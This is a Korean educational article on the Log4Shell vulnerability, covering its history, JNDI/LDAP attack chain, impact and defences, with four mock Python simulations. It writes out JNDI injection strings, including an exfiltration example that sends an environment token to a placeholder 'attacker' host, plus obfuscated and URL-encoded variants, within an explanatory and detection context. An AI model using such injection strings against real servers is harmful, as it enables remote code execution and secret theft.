🌐 Log4Shell (CVE-2021-44228) — '로그에 흘러든 한 줄'이 서버를 실행시킨 제로데이 체인: JNDI·LDAP 룩업에서 원격 클래스 로딩까지 (2021, 교육용 PoC 4종)

1. 배경/역사 — '로깅 라이브러리'가 인터넷의 단일 실패점이 되다

Log4j는 Ceki Gülcü가 2001년에 만든 자바 로깅 프레임워크로, 지금은 Apache Software Foundation 의 Apache Logging Services 프로젝트다. 문제는 이 라이브러리가 '직접 쓰는 프로그램'에만 들어가는 게 아니라, Tomcat·Elasticsearch·Kafka·수많은 프레임워크와 상용 제품의 의존성(dependency) 으로 간접적으로 끌려 들어간다는 점이다. 개발자는 Log4j를 쓴 적이 없는데도 자기 서비스가 취약해진다 — 전형적인 공급망(supply-chain) 취약점이다.

Log4j 2 의 메시지 룩업(message lookup) 기능은 로그 문자열 안의 ${prefix:name} 패턴을 실행 시점에 해석해 값을 채워 넣는다. 예를 들어 log.info("version=${java:version}") 은 그 시점의 JVM 버전을 찍는다. 편리한 기능이지만, 해석 대상에 ${jndi:...} 가 포함되고 JNDI 가 원격 저장소(LDAP/RMI)를 참조할 수 있게 열려 있었다. 두 기능이 겹치면서, '로그에 기록되는 임의의 입력'이 곧 원격 코드 실행 경로가 됐다.

2013년 — 씨앗: JNDI 룩업은 Log4j 2 2.0-beta9 부터 존재했다. 즉 이 결함은 약 8년간 아무도 모른 채 코드에 남아 있었다. 취약점은 '발견'된 날 생긴 게 아니라, 그때 처음 세상에 알려진 것뿐이다.
2021-11-24 — 비공개 제보: Alibaba Cloud Security 팀의 Chen Zhaojun 이 Apache 에 비공개로 결함을 제보했다.
2021-12-09 — 공개·패치: 취약점이 공개되고 같은 시기 패치가 나왔다. 이름 Log4Shell 은 LunaSec 의 Free Wortley 가 붙였고, 2021-12-10 에 CVE-2021-44228 이 부여됐다. Apache 는 만점인 CVSS 10.0 을 매겼다(NVD 도 10.0).
규모가 곧 위험: 전문가들은 수억 대 기기가 잠재적 영향권이라고 봤고, Wiz·EY 조사는 기업 클라우드 환경의 93% 가 취약 상태였다고 집계했다. Tenable 은 "역사상 단일 최대·최악의 취약점", Ars Technica 는 "인터넷에 대한 위협 중 가장 심각할 수 있다"고 표현했다.

취약점: CVE-2021-44228 (Log4Shell) — JNDI 인젝션을 통한 원격 코드 실행(RCE)
대상 컴포넌트: Apache Log4j 2 — log4j-core (2.0-beta9 ~ 2.14.1, 2.15.0 도 부분 취약 · 2.12.2/2.12.3/2.3.1 예외)
위험도: CVSS 10.0 (NVD: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) — 인증·사용자 상호작용 불필요
제보/공개: Chen Zhaojun (Alibaba Cloud Security), 2021-11-24 비공개 제보 → 2021-12-09 공개·패치 → 2021-12-10 CVE 부여
핵심 기법: 메시지 룩업 치환(${jndi:...}) → JNDI → LDAP/RMI/DNS/IIOP 조회 → 원격 클래스 로딩 / 역직렬화 → RCE. 코드 실행이 막혀도 DNS·LDAP 콜백으로 데이터 유출(OOB) 가능
연쇄 취약점: CVE-2021-45046(9.0) · 45105(5.9) · 44832(6.6) — 하나의 "월"이 아니라 연속된 수정 라운드
영향: 잠재 수억 대 기기 · 기업 클라우드 93% 취약 · 공개 10일 뒤 평균 45%만 패치(Wiz·EY)
수정 이력: 2.15.0 → 2.16.0(룩업/JNDI 기본 비활성) → 2.17.0 → 2.17.1
연계 위협: Muhstik·Mirai·Tsunami 봇넷 스캔 · 코인마이너 · Conti 랜섬웨어(12-17 확인) · 이란·중국 연계 그룹(Check Point)

2. 감염·전파 경로 — "웜이 아니라, 취약한 코드 경로다"

Log4Shell 은 웜이 아니다. 스스로 복제하거나 다른 서버를 찾아다니지 않는다. 대신 "로그로 기록되는 모든 입력"이 공격 표면이 된다 — 그래서 방어자 입장에서 어디를 막아야 할지 알기 어렵다.

입구는 어디에나: 웹 요청의 User-Agent·X-Api-Version 같은 HTTP 헤더, URL 경로·쿼리, 로그인 폼 필드, SSO/기기 등록 필드, 그리고 Minecraft: Java Edition 의 채팅 메시지까지 — 로깅되는 순간 발동한다. "이름 필드는 나중에 다른 내부 처리에서 로그로 남을 수 있다"는 점이 함정이다.
공격 체인 5단계: ① 사용자 입력이 로그 객체로 전달 → ② Log4j 가 ${jndi:...} 를 치환 → ③ 취약 서버가 공격자 LDAP/RMI 서버로 outbound 연결 → ④ LDAP 응답이 원격 클래스 참조 (javaNamingReference) 또는 직렬화 객체(javaSerializedData)를 반환 → ⑤ 취약 서버가 codebase URL 에서 클래스를 받아 로드·실행 → RCE.
실행이 안 되어도 새어 나간다: 환경변수나 비밀값을 URL 경로에 실어 조회하면(${jndi:ldap://attacker/${env:TOKEN}}), 실행까지 가지 않아도 공격자 DNS/LDAP 콜백으로 값이 전달된다. "RCE를 못 하면 괜찮다"는 가정이 성립하지 않는 이유다.
빠른 대량화(스캔 폭주): 공개 직후 인터넷 전체가 이 패턴을 스캔했다. Muhstik 봇넷이 12-10, 이어 Mirai·Tsunami 가 가세했다. Cloudflare CEO 는 악용·스캔 흔적이 12-01까지 거슬러 올라간다고 밝혔다 — 공개 9일 전이다. 공개 24시간 내 익스플로잇 변형이 60종 이상 만들어졌다.
공격자 계층의 진화: 먼저 코인마이너 무리 → 데이터 브로커가 침해된 접근권(foothold)을 중개·판매 → 최종 구매자가 랜섬웨어·스파이·데이터 파괴로 전환. Conti 는 12-17 부터 이 취약점을 사용한 것이 관측됐다.

요약하면 Log4Shell 의 '전파'는 웜의 자기복제가 아니라 "인터넷 전체 스캔 + 자동화된 룩업"이다. 취약한 코드 한 줄이 이미 열려 있는 문이었고, 공격자는 문을 두드리기만 하면 됐다.

3. 동작 원리 상세 — 룩업 한 줄이 RCE까지 가는 구조

핵심은 Log4j 2 의 메시지 룩업 치환이다. 기본 설정에서 로그 문자열에 ${prefix:name} 형태의 표현식이 있으면, Log4j 는 이를 실행 시점에 해석한다. Text: ${java:version} → Text: Java version 1.7.0_67 처럼 말이다. 인식되는 표현식에 ${jndi:<lookup>} 가 있었고, JNDI 조회 대상을 LDAP 등 원격 서버로 지정할 수 있었다 — 외부의 임의 URL 을 Java 객체 데이터로 가져오는 것이다.

JNDI 란: 런타임에 '이름 → 객체'를 찾아주는 Java 인터페이스다. 여러 디렉터리 프로토콜을 지원하는데, 그중 LDAP 은 Java 전용이 아닌 표준 프로토콜이며 원격 서버에서 객체 데이터를 URL 로 가져온다. 그래서 공격자는 자기 LDAP 서버를 세워두고, 취약 서버가 스스로 접속하게 만든다.
클래스가 로드되는 지점: LDAP 응답이 javaNamingReference (원격 codebase + 팩토리 클래스) 를 반환하면, 취약 서버는 공격자 HTTP 서버에서 .class 파일을 내려받아 로드한다. 이때 정적 초기화자(static initializer) 가 실행되며 명령이 수행된다 — 사용자 코드 호출 없이도 RCE 다. javaSerializedData(직렬화 객체)를 반환하는 경로는 역직렬화 가젯 체인으로 이어진다.
데이터만 빼내기(OOB): 코드 실행이 차단돼도 ${env:..}· ${sys:..} 같은 다른 룩업을 URL 에 중첩하면, 해석된 값이 공격자 서버로 조회 요청에 실려 나간다(DNS/LDAP 콜백). 비밀값 유출은 RCE와 독립적으로 가능하다.
난독화 우회: 단순히 jndi 문자열을 차단하는 방어는 ${${lower:j}ndi:...} 로 우회된다 — lower 룩업이 먼저 해석돼 jndi 가 되기 때문이다. URL 인코딩(%24%7B), 미사용 룩업 삽입, 대소문자 변형 등 변형이 수십 가지다. 문자열 매칭은 필터일 뿐, 경계는 아니다.
근본 원인 3가지: (1) 기본 활성 룩업 기능이 '로그 문자열'에 대해 동작하고, (2) JNDI 가 원격 codebase/직렬화를 허용하며, (3) 사용자 입력이 로그로 흘러가는 일이 지나치게 흔하다. 셋 중 하나만 없었어도 이 사고는 없었다.

수정 이력 — 한 번에 끝나지 않았다:

CVE	CVSS	무엇	수정
CVE-2021-44228 (Log4Shell)	10.0	메시지 룩업의 JNDI 미보호 → LDAP 등으로 원격 코드 실행	2.16.0
CVE-2021-45046	9.0	2.15.0 의 수정이 불완전 — MDC 입력 + 비기본 패턴에서 RCE/유출	2.16.0
CVE-2021-45105	5.9	자기참조 룩업 무한 재귀 → 서비스 거부(DoS)	2.17.0
CVE-2021-44832	6.6	JDBC Appender + LDAP 데이터소스 URI → RCE	2.17.1

구버전 완화책도 알아둘 필요가 있다. classpath 에서 org.apache.logging.log4j.core.lookup.JndiLookup 클래스를 제거하는 방법과, log4j2.formatMsgNoLookups=true 시스템 속성이 널리 쓰였지만 후자는 2.15.0 기준으로 CVE-2021-45046 을 막지 못해 불충분했다. JRE 측도 com.sun.jndi.ldap.object.trustURLCodebase=false 가 기본값이 되면서(JDK 8u191 / 11.0.1 이후) 평범한 원격 클래스 로딩은 막혔지만, 직렬화 가젯 등 다른 벡터가 남아 "최신 JDK면 안전하다"는 보장은 되지 않았다. 참고로 실제로 취약한 패키지는 log4j-core 뿐이고, 초기 권고에서 함께 표시된 log4j-api 는 위양성으로 정정됐다.

4. 피해 규모/영향 — 실제 숫자

CISA 국장 Jen Easterly: "내 경력에서 본 가장 심각한 취약점 중 하나, 아니 가장 심각할 수도" — 수억 대 기기가 영향권이라고 밝히며 벤더에 최우선 패치를 권고했다.
Wiz·EY 조사(2021-12-20): 기업 클라우드 환경의 93%가 취약, 그중 7%는 인터넷에 노출돼 광범위한 악용에 취약. 공개 10일 뒤에도 평균 패치율은 45%에 그쳤다.
스캔·공격의 폭: 공개 24시간 내 변형 60여 종, 12-14 기준 전 세계 기업 네트워크의 절반 가량이 능동적으로 스캔당했다. Check Point 는 수백만 건의 공격을 관측했고 일부 연구에서는 분당 100건 이상, 기업 네트워크의 40% 이상이 표적이 됐다.
정부·공공: 미국은 연방 민간기관에 12-24까지 패치를 의무화했고, FTC 는 2022-01-04 Log4j 를 갱신하지 않은 기업에 제재를 취하겠다고 경고했다. 독일 BSI 는 최고 위협 등급("극도의 위험 상황")을 선언했고, 캐나다 국세청(CRA)은 온라인 서비스를 임시 중단, 퀘벡 주정부는 약 4,000개 웹사이트를 예방적으로 폐쇄했다. 벨기에 국방부는 침해 시도를 겪고 네트워크 일부를 차단해야 했다. 중국 공업정보화부는 취약점을 정부에 먼저 알리지 않았다며 Alibaba Cloud 의 위협정보 파트너 자격을 6개월 정지시켰다.
기업·서비스: AWS·Cloudflare·iCloud·Minecraft·Steam·Tencent QQ 등 광범위한 서비스가 영향을 받았다. 인사·근태 SaaS 인 UKG(Kronos) 는 랜섬웨어 피해를 입었고 Log4Shell 연관성은 논쟁이 됐다(회사는 "증거 없다", 분석가들은 "가능성 있다").
표적의 확장: 스마트TV·CCTV 처럼 Java 기반 개인기기, 그리고 단종돼 영영 패치가 나오지 않을 소프트웨어까지 포함됐다. Sophos 연구자는 "문제는 이미 뚫려서 조용히 앉아 있는 공격자다… 인터넷이 존재하는 한 계속 남을 것"이라고 경고했다.
위협 주체의 다양화: 봇넷(Mirai·Tsunami·Muhstik), 랜섬웨어 (Conti, 12-17), 코인마이너, 그리고 이란·중국 연계 그룹 (Check Point: 12-15 이란 배후 해커가 이스라엘 기업·정부기관 침투 시도)까지 같은 취약점을 동시에 사용했다.

⚠️ 아래 PoC는 모두 '동작 원리 재현'을 위한 교육용 모의 코드입니다. 실제 Log4j 바이너리, 실제 악성 LDAP 서버, 원격 클래스 로딩 페이로드, 실제 익스플로잇 문자열/IOC, 실제 공격 도메인은 일절 포함하지 않았습니다. 모든 대상은 127.0.0.1 과 문서용 예약 도메인(*.lab.local)이며, 인터넷과 분리된 격리 랩 VM에서만 실행을 전제로 합니다. 실제 시스템· 타인 자산에 대한 실행은 불법입니다.

5. PoC — 교육용 모의 코드 4종 (로컬 실습 전제)

Log4Shell 의 4대 구성 요소 — ① 메시지 룩업 치환 엔진, ② JNDI/LDAP 콜백(무해한 수신기), ③ 난독화 대응 탐지기, ④ 취약판/패치판 비교 — 를 각각 최소 형태로 재현했다. 아래 실행 결과는 이 글을 쓰며 실제로 실행한 출력이다 (랩 VM, Python 3, 모든 대상 127.0.0.1).

PoC ① 메시지 룩업 치환 엔진 — 왜 '로그 문자열'이 실행되는가

# mock_log4j.py (발췌) — 실제 Log4j 아님. '메시지 룩업 치환' 구조만 재현한다.
_PAT = re.compile(r"\$\{([^{}]*)\}")          # 로그 문자열의 ${ prefix : name }
def substitute(msg, guard=False):
    if guard:                                  # 패치판: 룩업 자체를 수행하지 않는다
        return msg
    cur = msg
    for _ in range(6):                         # 중첩 ${...} 을 안쪽부터 반복 해소
        nxt = _PAT.sub(lambda x: do_lookup(*x.group(1).split(":", 1))
                       if ":" in x.group(1) else x.group(0), cur)
        if nxt == cur: break
        cur = nxt
    return cur

실행 결과(이번 실행 실제 출력):

[①] 메시지 룩업 치환 엔진 재현 (Log4j 2 기본 동작)
    입력: user=guest logged in at ${date:now}
    결과: user=guest logged in at 2021-12-09
    입력(로그로 흘러든 헤더): GET / HTTP/1.1  User-Agent: ${jndi:ldap://127.0.0.1:1389/Basic/Command/lab}
    결과: GET / HTTP/1.1  User-Agent: [JNDI→ldap://127.0.0.1:1389/Basic/Command/lab]

정상 룩업(date)이 2021-12-09 로 치환된 것과, 로그로 흘러든 헤더의 ${jndi:...} 가 실제 조회로 이어진 것을 같은 엔진에서 확인할 수 있다. 차이는 '프리픽스가 jndi 냐' 뿐이다 — 로그를 남기는 행위가 곧 외부 연결을 트리거한다.

PoC ② 모의 LDAP 콜백 — 취약 서버가 '먼저' 접속한다

아래 리스너는 수신만 기록하며, 실제 공격처럼 원격 클래스 참조를 반환하지 않는다(그 부분은 의도적으로 구현하지 않았다).

# PoC ② : 모의 JNDI/LDAP 콜백 리스너 — 실제 공격이면 '원격 클래스 참조'를 돌려준다.
#         본 PoC 는 '수신 사실만' 기록하며 악성 클래스/페이로드를 일절 제공하지 않는다.
def mock_ldap_listener():
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.bind((HOST, PORT)); srv.listen(8)          # 127.0.0.1:1389
    while not STOP.is_set():
        conn, addr = srv.accept()
        data = conn.recv(512)
        HITS.append((addr[0], data.decode("utf-8", "replace")))
        conn.close()

실행 결과(이번 실행 실제 출력):

[②-결과] 모의 LDAP 리스너 수신 콜백 4건:
      ← 127.0.0.1 : LDAP-BIND ldap://127.0.0.1:1389/Basic/Command/lab
      ← 127.0.0.1 : LDAP-BIND ldap://127.0.0.1:1389/o
      ← 127.0.0.1 : LDAP-BIND ldap://127.0.0.1:1389/lab-token-ABC123
      ← 127.0.0.1 : LDAP-BIND ldap://127.0.0.1:1389/Basic/Command/lab
    ※ 실제 공격이면 여기서 '원격 클래스 참조'를 반환해 RCE 로 이어진다.
    ※ 본 PoC 는 수신만 기록하며 악성 클래스/페이로드를 일절 제공하지 않는다.

핵심은 방향이다. 공격자가 취약 서버에 '코드를 밀어 넣은' 게 아니라, 취약 서버가 공격자가 지정한 주소로 스스로 접속했다. 그래서 아웃바운드 통제(egress filtering) 가 매우 효과적인 방어가 된다(6절).

PoC ③ 탐지기 — 난독화·URL 인코딩을 정규화로 벗겨낸다

# PoC ③ : 탐지기 — 난독화된 ${jndi:..} 를 정규화해서 잡아낸다
def normalize(s):
    s = urllib.parse.unquote(s)                 # %24%7B.. → ${..
    for _ in range(6):
        s = re.sub(r"\$\{\s*lower:\s*([^{}]*)\}", lambda m: m.group(1).lower(), s)
        s = re.sub(r"\$\{\s*upper:\s*([^{}]*)\}", lambda m: m.group(1).upper(), s)
    return s.replace("${", "").replace("}", "").lower()   # 구분자 제거 후 소문자화
def detect(line):
    n = normalize(line)
    if "jndi" in n and any(p in n for p in ("ldap","ldaps","rmi","dns","iiop")):
        return "JNDI_LOOKUP"
    if "${" in line: return "SUSPICIOUS_SUB"    # 미상 프리픽스/유출 시도
    return None

실행 결과(이번 실행 실제 출력):

[③] 탐지기 — 로그 5줄 판정
    -            GET /index.html HTTP/1.1  User-Agent: Mozilla/5.0
    JNDI_LOOKUP  ${jndi:ldap://127.0.0.1:1389/Basic/Command/lab}
    JNDI_LOOKUP  User-Agent: ${${lower:j}ndi:ldap://127.0.0.1:1389/o}
    JNDI_LOOKUP  %24%7B%24%7Blower%3Aj%7Dndi%3Aldap%3A%2F%2F127.0.0.1%3A1389%2Fo%7D
    -            Cookie: theme=dark; lang=ko
    ※ 3번째·4번째 줄이 문자열 필터를 그냥 지나가는 형태(난독화·URL 인코딩)다.

${lower:j}ndi 와 %24%7B...%7D 처럼 눈으로는 jndi 가 안 보이는 입력도 정규화를 거치면 잡힌다. 다만 이건 '탐지'일 뿐 '차단'이 아니다 — 4절에서 봤듯 변형은 계속 나온다. 로그 파이프라인에 이 정규화 판정을 넣어 사후 추적은 반드시 가능하게 해두는 편이 좋다.

PoC ④ 취약판 vs 패치판 — 무엇이 실제로 달라지는가

# PoC ④ : 패치/완화 시뮬레이터 (취약판 vs 패치판)
class MockLog4j:
    def __init__(self, version, format_msg_no_lookups=False, enable_jndi=True):
        self.version, self.fmnl, self.jndi = version, format_msg_no_lookups, enable_jndi
    def info(self, msg):
        guard = self.fmnl or not self.jndi      # 룩업 비활성 = 문자열 그대로 기록
        return "[" + self.version + "] " + substitute(msg, guard)

실행 결과(이번 실행 실제 출력):

[④] 패치/완화 시뮬레이터
     [2.14.1 (취약)] [JNDI→ldap://127.0.0.1:1389/Basic/Command/lab]
     [2.15.0 + log4j2.formatMsgNoLookups=true] ${jndi:ldap://127.0.0.1:1389/Basic/Command/lab}
     [2.16.0 (JNDI/룩업 기본 비활성)] ${jndi:ldap://127.0.0.1:1389/Basic/Command/lab}
    ※ 2.16.0 부터는 입력이 '그냥 문자열'로 기록된다. 취약판에서만 콜백이 발생했다.

같은 입력이 2.14.1 에서는 콜백을 유발했고, 2.16.0 에서는 그냥 문자열로 기록됐다. 패치의 본질은 '패턴을 더 잘 막는 것'이 아니라 룩업 기능 자체를 끄는 것이다.

네 조각의 결론은 명확하다 — Log4Shell 은 ① 편의 기능(룩업)이 ② 원격 실행 경로(JNDI)와 ③ 흔한 데이터 흐름(로깅)에서 만나 터진 사고다. 그래서 방어는 "이 문자열을 막자"가 아니라 "기능을 끄고, 흐름을 끊고, 의존성을 파악하자"가 되어야 한다.

6. 방어 방법/교훈

패치는 '완결 버전'까지 올린다: 최소 2.17.1 (또는 2.12.4 / 2.3.2) 로 간다. 2.15.0 은 45046 으로 불완전, 2.16.0 은 45105(DoS), 2.17.0 은 44832 가 남는다. "일단 2.15.0 올렸다"는 착시가 다음 사고를 만든다.
구버전이면 기능을 끈다: classpath 에서 JndiLookup 클래스를 제거하거나 log4j2.formatMsgNoLookups=true (전자는 강력, 후자는 불완전). 근본 해법은 항상 "룩업 비활성"이다.
아웃바운드 통제(egress filtering)를 1급 통제로: 취약 서버가 공격자에게 먼저 접속하는 구조이므로, 서버가 임의 외부 LDAP/RMI/DNS로 나가는 것을 막으면 RCE 체인 자체가 끊긴다. 영국 NCSC·NCC Group 이 최우선 권고로 제시했고, 실험으로도 유효성이 확인됐다. 패치가 늦어지는 자산일수록 이 통제가 생명줄이다.
JVM/JRE 도 함께 강화: trustURLCodebase=false(JDK 8u191 / 11.0.1+ 기본)로 원격 클래스 로딩을 차단하고, 보안 관리자·모듈 격리를 검토한다. 단, 직렬화 벡터가 남으므로 이것만으로 안전하다고 판단하지 않는다.
WAF/헤더 필터는 '보조'일 뿐: ${jndi 같은 문자열 차단은 공개 직후의 임시 완화로는 유효했지만, ${lower:j}ndi·URL 인코딩으로 즉시 우회됐다(PoC ③). 필터는 시간을 벌어줄 뿐, 루트를 고치지 않는다.
SBOM·의존성 인벤토리 없이는 패치할 수 없다: "우리 서비스가 Log4j를 쓰나?"에 즉시 답하지 못하는 조직이 많았다. 직접 의존성뿐 아니라 간접(transitive) 의존성과 컨테이너 이미지까지 식별하는 체계(SBOM, 아티팩트 스캔)가 있어야 대응이 시작된다. 공급망 취약점의 첫 단계는 항상 '가시성'이다.
'신뢰 경계'를 다시 정의한다: 로그는 흔히 '읽기 전용 안전지대'로 여겨졌다. 그러나 로그에 들어가는 입력도 파서·해석기의 입력일 수 있다. 설정·로그·정규식·템플릿처럼 '해석되는' 모든 곳에서 입력을 데이터로만 취급(치환·실행 금지)하는 원칙이 필요하다.
침해를 가정하고 사냥한다: Sophos 의 지적처럼 패치를 해도 이미 안에 있는 공격자가 남는다. 아웃바운드 LDAP/RMI/DNS 이상 흐름, JndiLookup 호출 로그, 예상 밖 프로세스의 외부 접속을 역추적 하는 사냥(hunting) 절차를 준비한다.
오픈소스 유지보수는 국가안보 문제다: 이 사고 이후 백악관은 소수의 자원봉사자에게 의존하는 오픈소스의 보안 유지가 국가안보와 직결된다는 점을 재확인했다. '오픈소스니까 안전하다'는 가정과 '오픈소스니까 무료로 유지될 것'이라는 가정은 둘 다 틀렸다. 소비자는 자금·감사·보안의 책임을 함께 져야 한다.
테이크다운이 아니라 '상시 대응'을 준비한다: Log4j 는 2013년부터 있었고, 수정은 2.15.0 → 2.16.0 → 2.17.0 → 2.17.1 로 이어졌다. 단일 패치로 끝나는 취약점은 드물다. 취약점은 '고치는 순간'이 아니라 '추적하는 동안' 관리된다는 전제로, 의존성 모니터링·이상 아웃바운드 탐지·신속 패치 파이프라인을 상시 가동한다.

7. 출처

Wikipedia — Log4Shell: 2013년부터 잠재, Chen Zhaojun(Alibaba Cloud) 2021-11-24 제보, 2021-12-09 공개·패치, 명명(LunaSec Free Wortley), JNDI/LDAP 동작, 난독화 우회, 45046/45105/44832, Wiz·EY 93%/45%, Belgian MoD·Quebec 4,000·CRA 중단·중국 MIIT 6개월 정지, Conti(12-17), Cloudflare 12-01, 봇넷(Muhstik/Mirai/Tsunami) — en.wikipedia.org/wiki/Log4Shell
NVD — CVE-2021-44228 (CVSS 10.0, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, 영향 버전 범위) — nvd.nist.gov/vuln/detail/CVE-2021-44228
NVD — CVE-2021-45046 (9.0, 2.15.0 불완전 수정) · CVE-2021-45105 (5.9, DoS) · CVE-2021-44832 (6.6, JDBC Appender) — nvd.nist.gov/vuln/detail/CVE-2021-45046
CISA — Mitigating Log4Shell and Other Log4j-Related Vulnerabilities (AA21-356A, 연방 패치 기한·탐지/완화 지침) — cisa.gov/news-events/cybersecurity-advisories/aa21-356a
Apache Logging Services — Log4j Security Vulnerabilities (권고·수정 버전 2.16.0 / 2.17.0 / 2.17.1, JndiLookup 제거 완화) — logging.apache.org/log4j/2.x/security.html
LunaSec — Log4Shell / log4j 2 CVE-2021-44228 (최초 공개 분석·명명) — lunasec.io/docs/blog/log4j-zero-day

※ 본문의 PoC 코드는 구조 이해 목적의 교육용 모의 코드이며, 실제 Log4j 바이너리·실제 악성 LDAP/RMI 서버·원격 클래스 로딩 페이로드·실제 익스플로잇 문자열/IOC·실제 공격 도메인은 포함하지 않습니다. 모든 실습은 인터넷과 분리된 격리 랩 VM을 전제로 하며, 실제 시스템·타인 자산에 대한 실행은 불법입니다.

함께 읽기: 🦅 SolarWinds SUNBURST (2020) — 신뢰받는 소프트웨어 공급망의 붕괴 · 🗂️ MOVEit/Cl0p (2023) — 취약점 하나로 대량 유출 · ⚡ Industroyer/CrashOverride — '익스플로잇 없이' 프로토콜을 말한 악성코드 · 🪱 Conficker (2008) — 패치·대응의 경제학 · 🟥 Code Red (2001) — 웹 서버 취약점 하나가 만든 대량 감염